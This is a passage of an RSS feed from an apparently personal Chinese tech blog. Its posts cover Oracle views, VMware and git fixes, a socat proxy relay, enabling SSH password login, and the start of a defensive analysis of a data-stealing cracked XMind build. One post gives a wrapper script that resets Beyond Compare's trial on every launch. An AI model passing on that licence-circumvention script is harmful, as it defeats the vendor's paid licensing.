	<span lang="EN-US">session_roles&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </span>会话的角色信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">session_privs&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </span>会话的权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">index_stats&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>索引的设置和存储信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dual&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>系统伪列表信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Tue, 17 Mar 2020 01:51:41 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=105</guid>

</item>
<item>
	<title>wget 下载oracle</title>
	<link>https://www.zuoer.xin/?post=99</link>
	<description><![CDATA[<p>
	wget -c --http-user=<span style="white-space:normal;">Oracle</span>用户名 --http-password=<span style="white-space:normal;">Oracle</span>密码 --output-document=linux.x64_11gR2_database_1of2.zip "http://download.oracle.com/otn/linux/oracle11g/R2/linux.x64_11gR2_database_1of2.zip?AuthParam=1334920533_d9e7185ae6d218f9ead5bd949dc6bd15"
</p>
<p>
	<br />
</p>
<p>
	wget -c --http-user=<span style="white-space:normal;">Oracle</span><span style="white-space:normal;">用户名</span> --http-password=Oracle<span style="white-space:normal;">密码</span> --output-document=linux.x64_11gR2_database_2of2.zip "http://download.oracle.com/otn/linux/oracle11g/R2/linux.x64_11gR2_database_2of2.zip?AuthParam=1334920533_d9e7185ae6d218f9ead5bd949dc6bd15"
</p>
<p>
	<br />
</p>
<p>
	但是下载完不能解压 mmp 没时间研究了
</p>
<p>
	<br />
</p>
<p>
	国内非官方
</p>
<p>
	wget http://180.153.65.91:8092/mirrors/oracle/linux.x64_11gR2_database_1of2.zip
</p>
<p>
	wget http://180.153.65.91:8092/mirrors/oracle/linux.x64_11gR2_database_2of2.zip
</p>]]></description>
	<pubDate>Mon, 16 Mar 2020 13:51:42 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=99</guid>

</item>
<item>
	<title>mac 无法启动虚拟机 ，&quot;请使用配置编辑器设置有效的工作目录，然后重试。&quot;</title>
	<link>https://www.zuoer.xin/?post=98</link>
	<description><![CDATA[<p>
	启动后提示： 请使用配置编辑器设置有效的工作目录，然后重试。
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202003/9a001583084969.jpg" id="ematt:163"><img src="https://www.zuoer.xin/content/uploadfile/202003/9a001583084969.jpg" title="点击查看原图" alt="1583084943118.jpg" border="0" width="1910" height="1486" /></a>
</p>
<p>
	解决办法
</p>
<p>
	1. vim&nbsp;Windows 7 x64.vmx
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202003/ee081583085106.jpg" id="ematt:165"><img src="https://www.zuoer.xin/content/uploadfile/202003/thum-ee081583085106.jpg" title="点击查看原图" alt="1583085089852.jpg" border="0" width="420" height="100" /></a> 
</p>
<p>
	找到：workingDir =&nbsp;
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202003/59dd1583085224.jpg" id="ematt:167"><img src="https://www.zuoer.xin/content/uploadfile/202003/thum-59dd1583085224.jpg" title="点击查看原图" alt="Xnip2020-03-02_01-53-18.jpg" border="0" width="420" height="61" /></a> 
</p>
<p>
	<br />
</p>
<p>
	由于这虚拟机文件是从Windows系统拷贝过来的，目录为乱码。
</p>
<p>
	删除即可。
</p>
<p>
	注：<span style="white-space:normal;">workingDir = " xxxxxxx"&nbsp; 整行删除</span> 
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Sun, 01 Mar 2020 17:47:35 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=98</guid>

</item>
<item>
	<title>删除git仓库所有提交记录</title>
	<link>https://www.zuoer.xin/?post=103</link>
	<description><![CDATA[<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4D4D4D;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	1.切换到新的分支
</p>
<div class="cnblogs_code" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#333333;font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">
<pre style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:24px;padding:8px;position:relative;font-family:Consolas, Inconsolata, Courier, monospace;white-space:pre-wrap;overflow-wrap:break-word;overflow-x:auto;line-height:22px;color:#000000;">git checkout --orphan latest_branch</pre>
</div>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4D4D4D;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	2.缓存所有文件（除了.gitignore中声明排除的）
</p>
<div class="cnblogs_code" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#333333;font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">
<pre style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:24px;padding:8px;position:relative;font-family:Consolas, Inconsolata, Courier, monospace;white-space:pre-wrap;overflow-wrap:break-word;overflow-x:auto;line-height:22px;color:#000000;"> git add -A</pre>
</div>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4D4D4D;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	3.提交跟踪过的文件（Commit the changes）
</p>
<div class="cnblogs_code" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#333333;font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">
<pre style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:24px;padding:8px;position:relative;font-family:Consolas, Inconsolata, Courier, monospace;white-space:pre-wrap;overflow-wrap:break-word;overflow-x:auto;line-height:22px;color:#000000;"> git commit -am <span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#800000;">"</span><span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#800000;">commit message</span><span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#800000;">"</span></pre>
</div>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4D4D4D;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	4.删除master分支（Delete the branch）
</p>
<div class="cnblogs_code" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#333333;font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">
<pre style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:24px;padding:8px;position:relative;font-family:Consolas, Inconsolata, Courier, monospace;white-space:pre-wrap;overflow-wrap:break-word;overflow-x:auto;line-height:22px;color:#000000;">git branch -D master</pre>
</div>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4D4D4D;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	5.重命名当前分支为master（Rename the current branch to master）
</p>
<div class="cnblogs_code" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#333333;font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">
<pre style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:24px;padding:8px;position:relative;font-family:Consolas, Inconsolata, Courier, monospace;white-space:pre-wrap;overflow-wrap:break-word;overflow-x:auto;line-height:22px;color:#000000;"> git branch -m master</pre>
</div>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4D4D4D;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	6.提交到远程master分支 （Finally, force update your repository）
</p>
<div class="cnblogs_code" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#333333;font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">
<pre style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:24px;padding:8px;position:relative;font-family:Consolas, Inconsolata, Courier, monospace;white-space:pre-wrap;overflow-wrap:break-word;overflow-x:auto;line-height:22px;color:#000000;"> git push -f origin master
	<p>
		注意：只要知道commit id，还是可以看见修改内容，非浏览器缓冲
	</p>
</pre>
</div>]]></description>
	<pubDate>Mon, 24 Feb 2020 18:02:48 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=103</guid>

</item>
<item>
	<title>Beyond Compare破解----mac</title>
	<link>https://www.zuoer.xin/?post=96</link>
	<description><![CDATA[<p>
	在官网(https://www.scootersoftware.com/download.php)下载Beyond Compare并安装成功后：
</p>
<p>
	执行如下操作:
</p>
<p>
	1.进入Beyond Compare应用程序MacOS目录下(/Applications/Beyond Compare.app/Contents/MacOS)
</p>
<p>
	2.将主启动程序BCompare重命名为BCompare.real
</p>
<p>
	3.在同级目录下新建一个脚本文件命名为BCompare，文件内容往下看
</p>
<p>
	4.给新建的文件BCompare，授权文件执行权限
</p>
<p>
	<br />
</p>
<p>
	1.创建BCompare文件命令如下：
</p>
<p>
	在这个脚本里面写如下代码，第一行是注明解释器，第二行是删除注册信息，第三行是启动真正的主程序。
</p>
<p>
	<br />
</p>
<pre class="prettyprint lang-js linenums">#!/bin/bash

rm "/Users/$(whoami)/Library/Application Support/Beyond Compare/registry.dat"

"`dirname "$0"`"/BCompare.real $@</pre>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	2.授权文件执行权限
</p>
<p>
	<br />
</p>
<pre class="prettyprint lang-js linenums">chmod a+x /Applications/Beyond\ Compare.app/Contents/MacOS/BCompare</pre>
<p>
	<br />
</p>
<p>
	这样我们每次打开软件的时候，都会先自动删掉注册信息，也就是永久免费试用了。
</p>
<p>
	————————————————
</p>
<p>
	版权声明：本文为CSDN博主「老衲不出家」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。
</p>
<p>
	原文链接：https://blog.csdn.net/tanningzhong/article/details/81285278
</p>
<br />]]></description>
	<pubDate>Sat, 30 Nov 2019 20:31:52 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=96</guid>

</item>
<item>
	<title>aws服务器太慢 ---国内中专</title>
	<link>https://www.zuoer.xin/?post=95</link>
	<description><![CDATA[<p>
	安装步骤
</p>
<p>
	Centos 系统：
</p>
<p>
	yum install -y socat
</p>
<p>
	Debian/Ubuntu 系统：
</p>
<p>
	apt-get update apt-get install -y socat
</p>
<p>
	<span style="white-space:normal;">---------------------</span> 
</p>
<p>
	使用方法
</p>
<p>
	转发TCP
</p>
<p>
	nohup socat TCP4-LISTEN:2333,reuseaddr,fork TCP4:233.233.233.233:6666 &gt;&gt; /root/socat.log 2&gt;&amp;1 &amp;
</p>
<p>
	nohup
</p>
<p>
	指的是 后台运行。
</p>
<p>
	TCP4-LISTEN:2333
</p>
<p>
	指的是 监听ipv4的端口，也就是 转发的端口，后面Shadowsocks链接中继时填写的 端口。
</p>
<p>
	fork TCP4:233.233.233.233:6666
</p>
<p>
	指的是 被转发的 IP 和 端口，也就是你要中继的服务器的 IP 和 端口。
</p>
<p>
	注意：这里的 中继端口(2333) 和 被中继端口(6666) 是可以一样的，我区分开只是为了让你们更好地理解。
</p>
<p>
	/root/socat.log 2&gt;&amp;1 &amp;
</p>
<p>
	指的是 转发日志记录。
</p>
<p>
	---------------------
</p>
<p>
	转发UDP
</p>
<p>
	nohup socat UDP4-LISTEN:2333,reuseaddr,fork UDP4:233.233.233.233:6666 &gt;&gt; /root/socat.log 2&gt;&amp;1 &amp;
</p>
<p>
	转发UDP很简单，只要把 TCP4 改成 UDP4 就行了！
</p>
<p>
	<span style="white-space:normal;">---------------------</span> 
</p>
<p>
	停止转发
</p>
<p>
	kill -9 $(ps -ef|grep socat|grep -v grep|awk '{print $2}')
</p>
<p>
	卸载方法
</p>
<p>
	Centos系统：
</p>
<p>
	yum remove socat
</p>
<p>
	Debian/Ubuntu系统：
</p>
<p>
	sudo apt-get remove socat sudo apt-get autoremove
</p>
<p>
	简单解释
</p>
<p>
	注意：假设你的中继服务器也就是现在在操作的服务器 IP 是 1.1.1.1 ，那么你的 中继端口 就是 2333 。你的 被中继服务器的 IP 是 233.233.233.233 ，端口是 6666 。
</p>
<p>
	这时候你的 Shadowsocks客户端 填写信息的时候 IP 就是 1.1.1.1 ，端口 就是 2333 。
</p>
<p>
	所以原理就是：
</p>
<p>
	Shadowsocks客户端通过 1.1.1.1:2333 链接中继服务器 1.1.1.1 ，然后中继服务器把端口 2333 的流量转发到 被中继服务器 233.233.233.233 的端口 6666 上面。然后 被中继服务器 也就是上面的 Shadowsocks服务端，就会去访问你要的数据，然后依次返回 中继服务器 -&gt; Shadowsocks客户端。
</p>
<p>
	<span style="white-space:normal;">---------------------</span> 
</p>
<p>
	防火墙设置
</p>
<p>
	如果你设置后无法链接，那么多半是防火墙 阻拦了，只要开放端口 就行了。以上面的 示例的中继端口 2333 为例。
</p>
<p>
	iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT iptables -I INPUT -m state --state NEW -m udp -p udp --dport 2333 -j ACCEPT
</p>
<p>
	# 如果要删除端口开放规则，只需要把 -I 改成 -D 即可。 iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT iptables -D INPUT -m state --state NEW -m udp -p udp --dport 2333 -j ACCEPT
</p>
<p>
	<span style="white-space:normal;">---------------------</span> 
</p>
<p>
	开机启动
</p>
<p>
	因为这个工具并没有开机启动的设定，所以需要设置系统的开机启动。
</p>
<p>
	Centos系统：
</p>
<p>
	chmod +x /etc/rc.d/rc.local vi /etc/rc.d/rc.local
</p>
<p>
	Ubuntu/Debian系统：
</p>
<p>
	chmod +x /etc/rc.local vi /etc/rc.local
</p>
<p>
	输入 I 键 进入编辑模式，然后在打开的文件中的 exit 0 代码前面插入你的 socat 命令代码（就是上面 nohup socat…的代码）。
</p>
<p>
	然后再 按 ESC 键 退出编辑模式，然后输入 :wq 退出并保存。
</p>]]></description>
	<pubDate>Sun, 03 Nov 2019 08:20:34 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=95</guid>

</item>
<item>
	<title>aws 服务器 ssh使用密码登陆</title>
	<link>https://www.zuoer.xin/?post=94</link>
	<description><![CDATA[<p>
	我的是RHEL 5
</p>
<p>
	<br />
</p>
<p>
	1. sudo su
</p>
<p>
	<br />
</p>
<p>
	2.passwd ec2-user
</p>
<p>
	输入两遍密码
</p>
<p>
	<br />
</p>
<p>
	3.vim&nbsp;/etc/ssh/sshd_config&nbsp;
</p>
<p>
	<p style="white-space:normal;">
		修改前PasswordAuthentication no
	</p>
	<p style="white-space:normal;">
		修改后PasswordAuthentication yes&nbsp;
	</p>
</p>
<p>
	4.重启ssh服务
</p>
<p>
	service sshd restart
</p>]]></description>
	<pubDate>Fri, 01 Nov 2019 14:44:24 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=94</guid>

</item>
<item>
	<title>Mac下的破解软件真的安全吗？</title>
	<link>https://www.zuoer.xin/?post=93</link>
	<description><![CDATA[<p style="margin-top:0px;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x01 前言</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	小夏是一名普通Mac用户，某天，他打算试试思维导图来记录工作学习。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	他问同事小芳：“Mac下有啥好用的思维导图软件？”
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	小芳：“XMind呀，很实用的思维导图软件。”
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	小夏：“那到哪里下载，要钱吗？”
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	小芳：“哎，你百度XMind破解版呀! 不需要花钱的，直接安装!”
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	小夏：“这么方便！我试试！”
</p>
<blockquote style="margin:1.4em 0px;padding-left:1em;color:#646464;border-left:3px solid #D3D3D3;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	这些所谓的破解版真的安全么?
</blockquote>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x02 样本概述</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	Xmind是一款实用的思维导图软件，正版官网售价高达99刀, 这个价格当然对普通用户无法承受, 通过搜索，很多站点都提供了破解版下载▼
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic2.zhimg.com/v2-ff2de682a0641f1a2e54d8025370d82d_b.png" data-rawwidth="865" data-rawheight="362" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic2.zhimg.com/v2-ff2de682a0641f1a2e54d8025370d82d_r.jpg" data-actualsrc="https://pic2.zhimg.com/v2-ff2de682a0641f1a2e54d8025370d82d_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	对比相同版本号的正版和破解版, hash如下:
</p>
<div class="highlight" style="margin:1em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
<pre style="margin-top:0px;margin-bottom:0px;padding:0.88889em;font-size:0.9em;word-break:normal;overflow-wrap:normal;overflow:auto;background:#F6F6F6;border-radius:4px;"><code class="language-text" style="margin:0px;padding:0px;border-radius:0px;font-family:Menlo, Monaco, Consolas, &quot;font-size:inherit;background-color:inherit;">dab95dbad19995aeb88cc5d1bb0a7912
 XMind_orig   //正版   [v3.7.1]   [306.2M]
094b3a161b7d041d217f6c61624ed388  XMind_new    //破解版 [v3.7.1]
  [327.9M]</code></pre>
</div>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	我们发现该样本采集了用户的很多隐私信息, 上传到了第三方服务器,采集信息如下图▼
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic1.zhimg.com/v2-4ec2311f99983691469820faa9c23c60_b.png" data-rawwidth="865" data-rawheight="748" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic1.zhimg.com/v2-4ec2311f99983691469820faa9c23c60_r.jpg" data-actualsrc="https://pic1.zhimg.com/v2-4ec2311f99983691469820faa9c23c60_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	目的：
</p>
<ol style="padding:0px;margin:1.4em 0px;display:table;counter-reset:ol 0;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<li style="list-style:none;display:table-row;">
		黑产非法售卖用户信息, 泄漏用户隐私
	</li>
	<li style="list-style:none;display:table-row;">
		广告推广, 获取盈利
	</li>
	<li style="list-style:none;display:table-row;">
		钓鱼执法, 发送侵权律师函
	</li>
	<li style="list-style:none;display:table-row;">
		etc
	</li>
</ol>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	下面我们对该样本详细分析
</p>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x03 基本信息</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	在Mac应用中，OSX系统下的Mach-O是可执行文件格式，程序跑起来解析Mach-O，然后链接系统的库文件以及第三方动态库。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	我们使用MachOView进行解析
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic3.zhimg.com/v2-93d70c60b5d52e34c6fd1c8f6695df6e_b.png" data-rawwidth="865" data-rawheight="559" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic3.zhimg.com/v2-93d70c60b5d52e34c6fd1c8f6695df6e_r.jpg" data-actualsrc="https://pic3.zhimg.com/v2-93d70c60b5d52e34c6fd1c8f6695df6e_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	在可执行文件 Load Commands 字段中记录了程序的加载指令，LC_LOAD_DYLIB是程序加载的动态库，其中Name字段记录了该动态库的路径，通常程序启动会根据该字段加载动态库。这里发现其加载了新增的两个动态库文件libcJFishPoolHook.dylib、libXMindHook.dylib。除此之外，XMind使用Java编写，移植到Mac平台，可执行文件也没有什么值得重点分析。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	总结一下，主要做了如下事情:
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	1、程序启动初始化，获取资源文件。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	2、加载.ini配置文件，得到启动的参数键值对。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	3、将参数解析，然后运行加载Library(Java打包的动态库).
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic4.zhimg.com/v2-15c0d6a6fddeb20416c2a2f7174b574b_b.png" data-rawwidth="865" data-rawheight="527" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic4.zhimg.com/v2-15c0d6a6fddeb20416c2a2f7174b574b_r.jpg" data-actualsrc="https://pic4.zhimg.com/v2-15c0d6a6fddeb20416c2a2f7174b574b_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	直接对比正版和破解版的包目录, 在包中我们发现了多出来的2个dylib文件
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic3.zhimg.com/v2-adc162ff1a370caa3961daaad5cff6be_b.png" data-rawwidth="865" data-rawheight="335" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic3.zhimg.com/v2-adc162ff1a370caa3961daaad5cff6be_r.jpg" data-actualsrc="https://pic3.zhimg.com/v2-adc162ff1a370caa3961daaad5cff6be_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	libC.JFishPoolHook.dylib<br />
libXMindHook.dylib
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	下面对这2个dylib进行详细分析
</p>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x04 dylib分析</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	对于Mac/iOS中使用到的dylib，可以使用class-dump和hoppper结合进行反汇编分析。class-dump又是一款开源解析MachO利器，与MachOView相似的是，他可按照MachO偏移量，找寻符号表(Symbol<br />
Table)，从而导出类名和方法名，但是他提供了诸多参数用于导出不同架构的MachO链接符号表。使用如下命令导出类名方法名到文件中：
</p>
<div class="highlight" style="margin:1em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
<pre style="margin-top:0px;margin-bottom:0px;padding:0.88889em;font-size:0.9em;word-break:normal;overflow-wrap:normal;overflow:auto;background:#F6F6F6;border-radius:4px;"><code class="language-text" style="margin:0px;padding:0px;border-radius:0px;font-family:Menlo, Monaco, Consolas, &quot;font-size:inherit;background-color:inherit;">$class-dump --arch x86_64 libCJFishPoolHook.dylib &gt; header.txt
$ cat header.txt</code></pre>
</div>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic1.zhimg.com/v2-cbf9430f1d8511890265dd7bd5dd0a00_b.png" data-rawwidth="865" data-rawheight="1102" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic1.zhimg.com/v2-cbf9430f1d8511890265dd7bd5dd0a00_r.jpg" data-actualsrc="https://pic1.zhimg.com/v2-cbf9430f1d8511890265dd7bd5dd0a00_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
